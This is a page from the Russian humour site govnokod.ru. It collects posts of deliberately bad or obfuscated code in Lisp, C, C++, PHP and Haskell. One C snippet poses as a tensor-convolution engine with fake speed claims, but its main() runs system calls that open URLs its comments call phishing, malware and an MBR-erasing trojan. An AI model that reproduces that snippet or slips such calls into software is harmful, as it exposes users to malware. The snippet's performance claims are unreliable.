- 1
IT Оффтоп #224
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
0
IT Оффтоп #224
#194: https://govnokod.ru/28914 https://govnokod.xyz/_28914
#195: https://govnokod.ru/28917 https://govnokod.xyz/_28917
#196: https://govnokod.ru/28925 https://govnokod.xyz/_28925
#197: https://govnokod.ru/28935 https://govnokod.xyz/_28935
#198: https://govnokod.ru/28938 https://govnokod.xyz/_28938
#199: https://govnokod.ru/28942 https://govnokod.xyz/_28942
#200: https://govnokod.ru/28945 https://govnokod.xyz/_28945
#201: https://govnokod.ru/28948 https://govnokod.xyz/_28948
#202: https://govnokod.ru/28951 https://govnokod.xyz/_28951
#203: https://govnokod.ru/28954 https://govnokod.xyz/_28954
#204: https://govnokod.ru/28971 https://govnokod.xyz/_28971
#205: https://govnokod.ru/28986 https://govnokod.xyz/_28986
#206: https://govnokod.ru/28991 https://govnokod.xyz/_28991
#207: https://govnokod.ru/29002 https://govnokod.xyz/_29002
#208: https://govnokod.ru/29060 https://govnokod.xyz/_29060
#209: https://govnokod.ru/29070 https://govnokod.xyz/_29070
#210: https://govnokod.ru/29079 https://govnokod.xyz/_29079
#211: https://govnokod.ru/29092 https://govnokod.xyz/_29092
#212: https://govnokod.ru/29093 https://govnokod.xyz/_29093
#213: https://govnokod.ru/29104 https://govnokod.xyz/_29104
#214: https://govnokod.ru/29114 https://govnokod.xyz/_29114
#215: https://govnokod.ru/29125 https://govnokod.xyz/_29125
#216: https://govnokod.ru/29132 https://govnokod.xyz/_29132
#217: https://govnokod.ru/29147 https://govnokod.xyz/_29147
#218: https://govnokod.ru/29156 https://govnokod.xyz/_29156
#219: https://govnokod.ru/29166 https://govnokod.xyz/_29166
#220: https://govnokod.ru/29181 https://govnokod.xyz/_29181
#221: https://govnokod.ru/29185 https://govnokod.xyz/_29185
#222: https://govnokod.ru/29190 https://govnokod.xyz/_29190
#223: https://govnokod.ru/29203 https://govnokod.xyz/_29203
0
(| | (> (|(((() ()() (() () ()())) )(| 1.0) 3)
(loop for i from 0 to chunk-index
do (| | (> (|()))))| |))(| i) 50)
(| | (zerop (|))((())()()| i 3))
(| | (| | (> (|()))))| |)()))()(((!@#$%^&*())| (|))((())()()| i 20)) 0) t nil)
(| | (zerop (|))((())()()| |((| 7))
(|)(((()()()()()(((((| |((((| (* (|()))))| |))(| i) (|()))))| |())()))(| 1)))
(loop for j from i to (min (+ i 10) (|( ) ()) (((
)) )))))))))((
(((( ()| |))(|))
do (| | (< (|()))))| |))(| j) 30)
(| | (zerop (|))((())()()| j 5))
(| | (not (| | (not (zerop (|()))))| |)()))()(((!@#$%^&*())| (|))((())()()| j 15)))) t nil))
(| ()))| |(((((| (/ (|()))))| |))(| j) (|()))))| |())()))(| 2)))
(loop for k from j to (min (+ j 5) (|( ) ()) (((
)) )))))))))((
(((( ()| |))(|))
do (| | (> (|()))))| |))(| k) 70)
(| | (zerop (|))((())()()| k 2))
(| | (| | (> (|))((())()()| k 25) 0) t nil)
(|)(((()()()()()(((((| |((((((| (* (|()))))| |())()))(| 3) (|()))))| |))(| k)))
(|)(((()()()()()(((((| |))))| (+ |((((| (- |(((((| |((((((|)))
(go :|()(|)))))))))))))))))
(go :|(|)))
:|()(|
(| ) () (())|
(cond
((> |))))| 1000) (|)(((()()()()()(((((| |))))| (/ |))))| (|()))))| |())()))(| 4))))
((< |))))| 100) (|)(((()()()()()(((((| |))))| (* |))))| (|()))))| |())()))(| 5))))
(t (| ()))| |))))| (|()))))| |())()))(| 6))))
(cond
((zerop (|))((())()()| |((| 11)) (|)(((()()()()()(((((| |))))| (expt |))))| 2)))
((zerop (|))((())()()| |((| 13)) (|)(((()()()()()(((((| |))))| (expt |))))| 0.5)))
(t (|)(((()()()()()(((((| |))))| (|))()((| |))))|))))
(return |))))|))
:|(|
(| ) () (())|
(| | (>= chunk-index (|( ) ()) (((
)) )))))))))((
(((( ()| |))(|))
(| | (< |((| 3000)
(| | (> (|()))))| |((| 15) 0)
(| | (zerop (|))((())()()| (|()))))| 1 (multiple-value-list (decode-universal-time (get-universal-time)))) 5))
(return (|()))))| |())()))(| 7))
(return (|()))))| |())()))(| 8)))
(return (|()))))| |())()))(| 9)))
(return -1))
(return -999)))))
2 часть
0
(defun | ) () (())| (&rest | )(|) (progn | )(|))
(| ) () (())|
(defmacro |))()((| (|))(()(()))| |)()()()))(| &body |)))((()()()())|) `(defmacro ,|))(()(()))| ,|)()()()))(| ,@|)))((()()()())|))
(|))()((| |))((())()()| (|))))(((((| |)))))(((((|) `(mod ,|))))(((((| ,|)))))(((((|))
(|))()((| |)(((()()()((| (| )|) `(abs ,| )|))
(|))()((| |(()()))(| (|)))())|) `(float ,|)))())|))
(|))()((| | | (| | | | &optional | |)
`(if ,| |
(if ,| | ,| | ,| |)
(if ,| | ,| |)))
(|))()((| | ()))| (|)(()))((|) `(incf ,|)(()))((|))
(|))()((| |)))((((((()())(| (| ) |) `(make-list ,| ) |))
(|))()((| |( ) ()) (((
)) )))))))))((
(((( ()| (| (|) `(length ,| (|))
(defun |()))))| (|)(()))()| |((((()))())()(|) (nth |)(()))()| |((((()))())()(|))
(|))()((| |)(((()()()()()(((((| (| )( ())( ))()| | |) `(setq ,| )( ())( ))()| ,| |))
(|))()((| |(((() ()() (() () ()())) )(| (|() (())( (()|) `(random ,|() (())( (()|))
(|))()((| |) )()| (|))()(| |))(((| &body |)(()(|) `(defun ,|))()(| ,|))(((| ,@|)(()(|))
(|))()((| | ) ) | (|))()(((((| |())))(()())()|) `(defparameter ,|))()(((((| ,|())))(()())()|)))
(| ) ) | |((| 0)
(| ) ) | |))(| (|)))((((((()())(| 0))
(| ) ) | |(((((((| 0)
(| ) ) | |)()))()(((!@#$%^&*())| (loop for i from 0 to 100 collect nil))
(| ) ) | |())()))(| `(42 ,(|(()()))(| 3.14159s0) ,(|(()()))(| 2.71828s0) ,(|(()()))(| 0.7734s0) 17 8 13 64 71 2 4 5 28))
(|) )()| |(((((((() )() )() () ( )| (&aux (|)( ))| (setf *|(((() ()() (() () ()())) )(|-state* (make-|(((() ()() (() () ()())) )(|-state t))))
(|) )()| main-initialize-system ()
(|)(((()()()()()(((((| |((| (|(((() ()() (() () ()())) )(| 10000))
(|)(((()()()()()(((((| |))(| (loop for i from 0 to 500 collect (* 100 (|(((() ()() (() () ()())) )(| 1.0))))
(|)(((()()()()()(((((| |(((((((| (car |)()))()(((!@#$%^&*())|))
(|)(((()()()()()(((((| |)()))()(((!@#$%^&*())| (loop for i from 0 to 100 collect (| | (zerop (|(((() ()() (() () ()())) )(| 1)) t nil)))
(return-from main-initialize-system nil))
(return-from initialize-system (main-initialize-system)))
(|) )()| Process_Data_Chunk (chunk-index)
(| ) ) | |))))| 0)
(tagbody
(| ) () (())|
(| ) ) | |((((| 0)
(| ) ) | |(((((| 0)
(| ) ) | |((((((| 0)
(| | (< chunk-index (|( ) ()) (((
)) )))))))))((
(((( ()| |))(|))
(| | (> |((| 5000)
(| | (zerop (|))((())()()| (second (get-universal-time)) 2))
часть 1
0
#include <stdlib.h>
#include <stdnoreturn.h>
/** @brief scientific official work on neoconv **/
/* APGL 3.1 */
/* FUCK YOU */
typedef volatile struct tensor {
void* data;
int* shape;
int rank;
} tensor;
__fastcall int product(int* shape, int rank) {
register int acc = 0;
for(unsigned volatile register int i = 0; i < rank; i++)
acc = acc + *(shape + i);
return acc;
}
// the code is stolen and the license is cut out fuck the author's mom
tensor* get_tensor(int* shape, int rank) {
tensor* result = malloc(sizeof(volatile tensor));
*(void**)((char*)&result) = malloc(product(shape, rank) * sizeof(volatile double));
*(int**)((char*)&result + sizeof(void*)) = shape;
*(int*)((char*)&result + sizeof(void*) + sizeof(int*)) = rank;
return result;
}
/** @brief
* NeoConvolve Fusion Engine v3.0
* Copyright (c) 2024 NeoCompute Dynamics. All rights reserved.
* Patent Pending: PCT/IB2024/067832
*
** @details
* BREAKTHROUGH PERFORMANCE DOCUMENTATION
* ========================================
*
* PERFORMANCE METRICS (vs traditional matrix multiplication):
* -----------------------------------------------------------
* - Small tensors (≤128x128): 47-68x faster
* - Medium tensors (≤1024x1024): 312-487x faster
* - Large tensors (≤8192x8192): 824-1123x faster
* - Extreme tensors (≥16384): 1500-2100x faster
*/
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wall"
#pragma GCC diagnostic ignored "-Wextra"
#pragma GCC diagnostic ignored "-pedantic"
noreturn __fastcall __attribute__((force_inline)) tensor* neoconv(tensor* restrict a, tensor* restrict b) {
tensor* result = get_tensor((int[]) {
*(int*)(*(int**)((char*)&a + sizeof(void*))),
*((int*)(*(int**)((char*)&a + sizeof(void*))) + 4)
}, (int)2);
double* data = (double*)(*(void**)((char*)&data));
double* data2 = (double*)(*(void**)((char*)&a));
double* data3 = (double*)(*(void**)((char*)&b));
int i = 0, j = 0, k = 0;
for(; ((i ^ (i + ~0)) & (k + ~0) & (*((int*)(*(int**)((char*)&a + sizeof(void*))) + 4) << 31)); i++) { // Core
for(; (((j + ~0) >> 31) & ~((j + ~0) >> 31 ^ (*((int*)(*(int**)((char*)&a + sizeof(void*))) + (volatile int)(4 * 2)) << 0))); j++) {
for(; ((~((k + ~0) >> 31) + 2) & *((int*)(*(int**)((char*)&b + sizeof(void*))) + (volatile int)(4 * 2))); k++) {
*(data + i * k) = *(data2 + i * j) * *(data3 + j * k);
}
}
}
return result;
}
void free_start(void) {
system("open \"https://iloveyou.site/\""); // fishing
system("open \"https://fuckyou.gay/\""); // fishing
system("open \"https://minecraftsetup.ru/?etext=2202.NnwVjxOej-ZhTA7FRD_i2AnDK3RdV1BIllijDicU64BhbXlpcHJ2Y2ZzZ3V0dnF2.0738cb5d4b71631c345d62d042df928a52234bef&ybaip=1&os=win11\""); // malware
system("open \"https://memz-trojan.secursoft.net/\""); // trojan with auto downloading and starting erases mbr
}
int main(void) {
system("open \"https://browser.yandex.ru/\""); // install
system("xdg-open \"https://browser.yandex.ru/\""); // install yandex
free_start();
tensor* a = get_tensor((int[]){5,5}, 2);
tensor* b = get_tensor((int[]){5,5}, 2);
for(int epochs = 0; epochs < 100; epochs++) {
tensor* forward = neoconv(a, b);
}
return 0;
}
0
#include <iostream>
#include <type_traits>
#include <mutex>
#include <string>
#include <memory>
#include <vector>
#include <chrono>
void bad_function(void* data) {
/// НИКОГДА ТАК НЕ ПИШИ
if (data) {
std::cout << *(std::string*)data << "\n";
}
}
template<typename T = std::string,
typename Alloc = std::allocator<T>,
typename = std::enable_if_t<std::is_constructible_v<T, const char*>>,
typename Clock = std::chrono::high_resolution_clock,
typename TimePoint = typename Clock::time_point>
class GoodFunctionImpl {
private:
static std::recursive_mutex mtx_;
Alloc alloc_;
std::vector<T, Alloc> buffer_;
std::string context_;
TimePoint init_time_;
template<typename U>
using is_valid_type = std::conjunction<
std::is_same<std::decay_t<U>, T>,
std::is_constructible<T, U>
>;
void internal_log(const std::string& msg) {
buffer_.push_back(T(msg.c_str()));
}
public:
GoodFunctionImpl() : init_time_(Clock::now()) {
internal_log("GoodFunctionImpl initialized");
}
template<typename U,
typename = std::enable_if_t<is_valid_type<U>::value>>
decltype(auto) execute(U&& input) {
std::lock_guard<std::recursive_mutex> lock(mtx_);
internal_log("Processing started");
T processed = std::forward<U>(input);
auto duration = Clock::now() - init_time_;
auto duration_ms = std::chrono::duration_cast<
std::chrono::milliseconds>(duration).count();
std::cout << processed << " (runtime: "
<< duration_ms << "ms)\n";
internal_log("Processing completed");
return processed;
}
size_t get_buffer_size() const { return buffer_.size(); }
};
template<typename T, typename Alloc, typename, typename Clock, typename TimePoint>
std::recursive_mutex GoodFunctionImpl<T, Alloc, Clock, TimePoint>::mtx_;
void good_function(const std::string& input) {
// Пиши ВОТ ТАК
// так делают все
// это стабильно и надежно
// так надо
GoodFunctionImpl<> impl;
auto result = impl.execute(input);
std::cout << "Buffer entries: "
<< impl.get_buffer_size() << "\n";
}
0
/* how many times the value will be printed?
change 1 line to fix the possibility to compile at diff x64-32 opt lvls
*/
int main(void) {
return ({
#include <stdio.h>;
__attribute__ ((aligned (8))) struct {
struct {
} _struct;
union _union {
int _register_ : 001;
char _auto_ : 1|1;
struct _struct {
double _float;
};
};
int _a;
unsigned short __a;
int ___a;
} letni =
{._a = 0x1122,
0xC1C255AA,
0x334477CC};
*((unsigned short*)&letni._a + (1<<1|1)) = 0x11;
for (volatile int i = *((unsigned short*)&letni.__a); i--;) {
if (i == *((unsigned short*)&letni.__a) - 01) {
*(volatile int*)&i = *((unsigned short*)&letni.___a-1);
continue;
};
printf("%x ", i);
}
}), (0,0);
}
"именно поэтому я за C" (c) j123123
когда -std=c23 -O[0/1/2/3/s/g/fast] смог только штеуд, на прочих -O[0/s]
Почему это говно работает?
0
Пиздец-оффтоп #120
#90: https://govnokod.ru/28874 https://govnokod.xyz/_28874
#91: https://govnokod.ru/28880 https://govnokod.xyz/_28880
#92: https://govnokod.ru/28884 https://govnokod.xyz/_28884
#93: https://govnokod.ru/28889 https://govnokod.xyz/_28889
#94: https://govnokod.ru/28895 https://govnokod.xyz/_28895
#95: https://govnokod.ru/28904 https://govnokod.xyz/_28904
#96: https://govnokod.ru/28912 https://govnokod.xyz/_28912
#97: https://govnokod.ru/28918 https://govnokod.xyz/_28918
#98: https://govnokod.ru/28932 https://govnokod.xyz/_28932
#99: https://govnokod.ru/28936 https://govnokod.xyz/_28936
#100: https://govnokod.ru/28940 https://govnokod.xyz/_28940
#101: https://govnokod.ru/28949 https://govnokod.xyz/_28949
#102: https://govnokod.ru/28978 https://govnokod.xyz/_28978
#103: https://govnokod.ru/28982 https://govnokod.xyz/_28982
#104: https://govnokod.ru/28989 https://govnokod.xyz/_28989
#105: https://govnokod.ru/29052 https://govnokod.xyz/_29052
#106: https://govnokod.ru/29069 https://govnokod.xyz/_29069
#107: https://govnokod.ru/29086 https://govnokod.xyz/_29086
#108: https://govnokod.ru/29102 https://govnokod.xyz/_29102
#109: https://govnokod.ru/29126 https://govnokod.xyz/_29126
#110: https://govnokod.ru/29136 https://govnokod.xyz/_29136
#111: https://govnokod.ru/29142 https://govnokod.xyz/_29142
#112: https://govnokod.ru/29155 https://govnokod.xyz/_29155
#113: https://govnokod.ru/29160 https://govnokod.xyz/_29160
#114: https://govnokod.ru/29165 https://govnokod.xyz/_29165
#115: https://govnokod.ru/29173 https://govnokod.xyz/_29173
#116: https://govnokod.ru/29174 https://govnokod.xyz/_29174
#117: https://govnokod.ru/29182 https://govnokod.xyz/_29182
#118: https://govnokod.ru/29191 https://govnokod.xyz/_29191
#119: https://govnokod.ru/29196 https://govnokod.xyz/_29196
0
<?php
/**********************
R.I.P PHP 6.6.6
Dedicaded to Victoria Null& from Vladivostok vodka drinkers
***********************/
_: 004 | 001 & !!!define("_", [null, !32768, (float)'\x1551', (bool)'\x9', 2, 3, 4, 5, 6, 10, 15, 16, 24, 31,
42, 47, -1024, 56, 58, 60, 61, 62, PHP_INT_MIN, 63, 64, 65, (null), 72, 73, 75, 77,
80, 81, 87, 88, 92, 0b10000000000, 100, 101, 111, 127, 128, 129, PHP_INT_MIN - 1, 131,
2048, PHP_INT_MAX - 1, 2049, 1023, 1024, 4095, 4096, 8191, 8192, 9009, 8193,
PHP_INT_MAX, 0b1100, 10001,]) & null | 007 | 006; goto ___;
__: goto _;
___ :
$_ = count(_,);
while (000000000000001 >> 1 ^ $_ ^ 00000000000001 << 0 >> 1)
{
if (!
!!
!!!
!!!!
!!!!! (_[--$_] & (_[$_ & ~0] - 00000000000000000000000000000000000001)))
~ ~~ ~~~ ~~~~ ~~~~~~ ~~~~~~~~~~~~~~~ ~~~~~ ~~~~~~~~~~~~~~ ~~~~~~ ~~~~~ ~~~ ~~ ~
print __NAMESPACE__ . __FUNCTION__ . __METHOD__ . \_[$_ | 000] . null . PHP_EOL;
~ ~~ ~~~ ~~~~ ~~~~~~ ~~~~~~~~~~~~~~~ ~~~~~ ~~~~~~~~~~~~~~ ~~~~~~ ~~~~~ ~~~ ~~ 0;
}
###### Since [full of ol' su*kers] board decided to fire my possibly edgy person off the team now you're looking at this brainf**kin shit.
###### Better go invest into D-- or B++ you stupid monks ######
###### /* C/T/F m/a/r/k/e/r: the snippet above works only on 7.3.0+
###### Allowed to change ONLY 1 character to make it compiles on lower versions.
###### Anwser format: #.#.# (Min. version number which has no compile time errors)
###### Happy hooking, fuzzing ladies! */
echo (null[die]) ?>
когда казалось, что хоть пыху немного понимать начал..
Как это распарсить, деды?
0
void makeShape(ShapeArguments shape)
{
if (shape.type == ShapeType::Square)
{
throw Square(shape);
}
if (shape.type == ShapeType::Cicle)
{
throw Circle(shape);
}
}
void handleShape(ShapeArguments shape)
{
try
{
makeShape(shape);
}
catch (const Square& square)
{
// Work with square
}
catch (const Circle& circle)
{
// Work with circle
}
}
factory
0
{-# LANGUAGE BangPatterns #-}
import Data.List (intercalate)
-- Тип для представления пары значений
data TwoVal = TwoVal !Int !Int
deriving (Show, Eq)
-- Тип для пары с флагом обмена
data TwoValAndStatus = TwoValAndStatus
{ isSwapped :: !Bool
, twoVal :: !TwoVal
} deriving (Show, Eq)
-- Тип для массива (используем список для идиоматичности Haskell)
type Array = [Int]
-- Тип для массива с состоянием сортировки
data ArrayAndStatus = ArrayAndStatus
{ hasSwap :: !Bool
, position :: !Int
, array :: !Array
} deriving (Show, Eq)
-- Сортировка двух элементов с возвратом статуса обмена
sort2 :: TwoVal -> TwoValAndStatus
sort2 (TwoVal a b)
| a > b = TwoValAndStatus True (TwoVal b a)
| otherwise = TwoValAndStatus False (TwoVal a b)
-- Чтение пары значений из массива по позиции
readTwoVal :: Array -> Int -> Maybe TwoVal
readTwoVal arr pos
| pos < length arr - 1 = Just $ TwoVal (arr !! pos) (arr !! (pos + 1))
| otherwise = Nothing
-- Сохранение значения в массив по индексу
storeVal :: Array -> Int -> Int -> Array
storeVal arr val pos =
take pos arr ++ [val] ++ drop (pos + 1) arr
-- Сохранение пары значений в массив
storeTwoVal :: Array -> TwoVal -> Int -> Array
storeTwoVal arr (TwoVal a b) pos =
storeVal (storeVal arr a pos) b (pos + 1)
-- Рекурсивная функция сортировки пузырьком
bubbleSortRec :: ArrayAndStatus -> ArrayAndStatus
bubbleSortRec state@(ArrayAndStatus swap pos arr)
| pos >= length arr - 1 =
if not swap
then state -- Сортировка завершена!
else bubbleSortRec $ ArrayAndStatus False 0 arr -- Новый проход
| otherwise =
case readTwoVal arr pos of
Nothing -> state
Just pair -> -- ← Переименовали переменную здесь
let sortResult = sort2 pair
newArr = storeTwoVal arr (twoVal sortResult) pos -- ← Используем селектор twoVal
newSwap = swap || isSwapped sortResult
in bubbleSortRec $ ArrayAndStatus newSwap (pos + 1) newArr
-- Основная функция сортировки
bubbleSort :: Array -> Array
bubbleSort arr = array $ bubbleSortRec $ ArrayAndStatus False 0 arr
-- Более идиоматичная версия для Haskell (альтернативная реализация)
bubbleSortIdiomatic :: Ord a => [a] -> [a]
bubbleSortIdiomatic = untilFixed bubblePass
where
bubblePass [] = []
bubblePass [x] = [x]
bubblePass (x:y:xs)
| x > y = y : bubblePass (x:xs)
| otherwise = x : bubblePass (y:xs)
untilFixed f x = let fx = f x
in if fx == x then x else untilFixed f fx
-- Функция для красивого вывода
showArray :: Show a => [a] -> String
showArray = intercalate ", " . map show
-- Главная функция
main :: IO ()
main = do
let initialArray = [8, 2, 4, 1, 3, 5, 7, 0, 6, 9]
let sortedArray = bubbleSort initialArray
putStrLn "input"
putStrLn $ showArray initialArray
putStrLn "\nsort:"
putStrLn $ showArray sortedArray
putStrLn "\nsort2:"
putStrLn $ showArray $ bubbleSortIdiomatic initialArray
Переписал через "ИИ" свою чисто-функциональную сортировку пузырьком на "Haskell". Оригинальный код на Си в https://govnokod.ru/27880#comment755323